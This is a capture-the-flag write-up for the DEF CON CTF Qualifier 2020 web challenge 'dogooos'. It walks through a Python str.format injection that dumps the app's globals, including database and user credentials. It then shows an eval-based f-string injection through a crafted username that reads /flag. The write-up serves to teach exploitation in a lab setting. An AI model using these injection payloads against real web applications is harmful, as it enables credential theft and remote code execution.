Tags: format-string web rce python
Rating: 5.0
# DEF CON CTF Qualifier 2020 – dogooos
* **Category:** web
* **Points:** 151
## Challenge
> DogOOOs is a new website where members can rate pictures of dogs. We think there might still be a few bugs, can you check it out? In this challenge, the flag is located in the root directory of the server at /flag.
>
> http://dogooos.challenges.ooo:37453
>
> dogooos.challenges.ooo 37453
>
> Files:
>
> [dogooo_comments.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/dogooo_comments.py) a881e06d1d70809ffdc9149a5be5b5de6796542f2ed2225fd43d451fde2c8c78
>
> [loaddata.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/loaddata.py) 0b57622ec86e02c0d8726538161dffb1e13ba1a18b7538354c12f762e4947c23
[Official solution here.](https://github.com/o-o-overflow/dc2020q-dogooos-public)
## Solution
The website allows you to upload and comment pictures of dogs.
There is an interesting endpoint at `/dogooo/runcmd` that contains a remote shell functionality, but it can't be used due to an `HTTP 502 Bad Gateway` error caused by the presence of `seccomp` filter, which prevents `execve`.
Several functionalities can be used only by authenticated users (i.e. `@login_required` annotations). There is an endpoint that can be used to create new users (i.e. `/dogooo/user/create`), but even this functionality requires the login.
A public functionality is the `/dogooo/deets/<postid>` that can be used to insert a new comment under a picture.
The comment is inserted with a two-step procedure:
1. the comment is inserted like a preview and showed into the webpage;
2. the content of the comment is strictly validated and inserted into the database.
Analyzing the code for the first step, in the [loaddata.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/loaddata.py) file, an interesting line of code can be found into `get_comments` function.
```python
def get_comments(self):
out = ""
for ccnt, cmt in enumerate(self.comments):
fmt_cmt = cmt.comment.format(rating=self.__dict__)
form_save = f"""
<form action="/dogooo/deets/add/{self.id}" method="POST">
<input type=hidden id="comment" name="comment" value='{fmt_cmt}'></textarea>
<input type=hidden id="commenter" name="commenter" value='{cmt.author}'/>
<input type=submit value="Save" />
</form>
"""
if cmt.preview:
out += f"
return out
```
The interesting line is the following.
```
fmt_cmt = cmt.comment.format(rating=self.__dict__)
```
It seems that if you use a format string like `{rating}` into the comment text, then the content of `self.__dict__` can be printed.
Trying it, the following content will be printed into the preview webpage.
```html
As you can read [here](https://lucumr.pocoo.org/2016/12/29/careful-with-str-format/), this code can be abused to read secret data.
The following code can be used to access *globals* objects.
```python
{rating[comments][0].__class__.__init__.__globals__}
```
It will give the following output.
```html
Copyright (c) 2000 BeOpen.com.
All Rights Reserved.
Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.
Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
for supporting Python development. See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}, 'connect': <function Connect at 0x7fc4ed0c4700>, 'f': <class 'fstring.fstring.fstring'>, 'clean': <function clean at 0x7fc4ed09f310>, 'json': <module 'json' from '/usr/lib/python3.8/json/__init__.py'>, 'post_results': ((3, "This is Griffey. His St. Patrick's Day bow tie didn't arrive until this morning. Politely requests that everyone celebrate again. 13/10", 2, 13, 'images/img_3.jpg', 2, 'demidog', 'princesses_password'),), 'jf': <_io.TextIOWrapper name='/dbcreds.json' mode='r' encoding='UTF-8'>, 'jdata': {'db_user': 'dogooo', 'db_pass': 'dogZgoneWild'}, 'db_user': 'dogooo', 'db_pass': 'dogZgoneWild', 'Comment': <class 'app.loaddata.Comment'>, 'Post': <class 'app.loaddata.Post'>, 'get_posting': <function get_posting at 0x7fc4ed1fe940>, 'UserMixin': <class 'flask_login.mixins.UserMixin'>, 'save_comment': <function save_comment at 0x7fc4eb2819d0>, 'get_all_posts': <function get_all_posts at 0x7fc4eb281af0>, 'create_post_entry': <function create_post_entry at 0x7fc4eab0c0d0>, 'User': <class 'app.loaddata.User'>, 'user_create_entry': <function user_create_entry at 0x7fc4eab1c040>, 'get_login': <function get_login at 0x7fc4eab1c280>, 'get_user': <function get_user at 0x7fc4eab1c310>} - author
```
From this data you can spot user credentials:
* username: `demidog`;
* password: `princesses_password`;
So now you can authenticate into the system and **you can create new users**.
During the authentication, an interesting behavior can be spot. The `login` method ([dogooo_comments.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/dogooo_comments.py)) uses the *f-Strings* functionality of Python 3, [which is a very powerful formatting syntax](https://realpython.com/python-f-strings/) and can be used to call methods.
```python
@app.route("/dogooo/login", methods=["GET", "POST"])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = get_login(username, password)
if user is not None:
login_user(user)
return redirect(request.host_url[:-1] + f"/dogooo/show?message=Welcom+back+{user.get_user_info()}")
else:
return redirect(request.host_url[:-1] + f"/dogooo/show?message=Login+FAILED")
else:
return abort(401)
```
The interesting line is the following.
```python
return redirect(request.host_url[:-1] + f"/dogooo/show?message=Welcom+back+{user.get_user_info()}")
```
The `get_user_info` method of the `User` class into [loaddata.py](https://raw.githubusercontent.com/m3ssap0/CTF-Writeups/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/loaddata.py) uses the `f()` method, instead of the `f""` one, on the `username` field; this method is the legacy one of *f-Strings* Python 2 implementation. The library implemented the *f-Strings* functionality by using an `eval`.
```python
from fstring import fstring as f
... ... ...
def get_user_info(self):
return f(self.username)
```
So you can create a new user with a malicious username that could trigger a RCE during the authentication. The malicious username is: `{open('/flag').read()}`.
Authenticating with this user, you will be redirect to the following address.
```
http://dogooos.challenges.ooo:37453/dogooo/show?message=Welcom+back+OOO%7Bdid%20you%20see%20my%20dog%7D
```
Which contains the flag in the URL.
![flag.png](https://github.com/m3ssap0/CTF-Writeups/raw/master/DEF%20CON%20CTF%20Qualifier%202020/dogooos/flag.png)
So the flag is the following.
```
OOO{did you see my dog}
```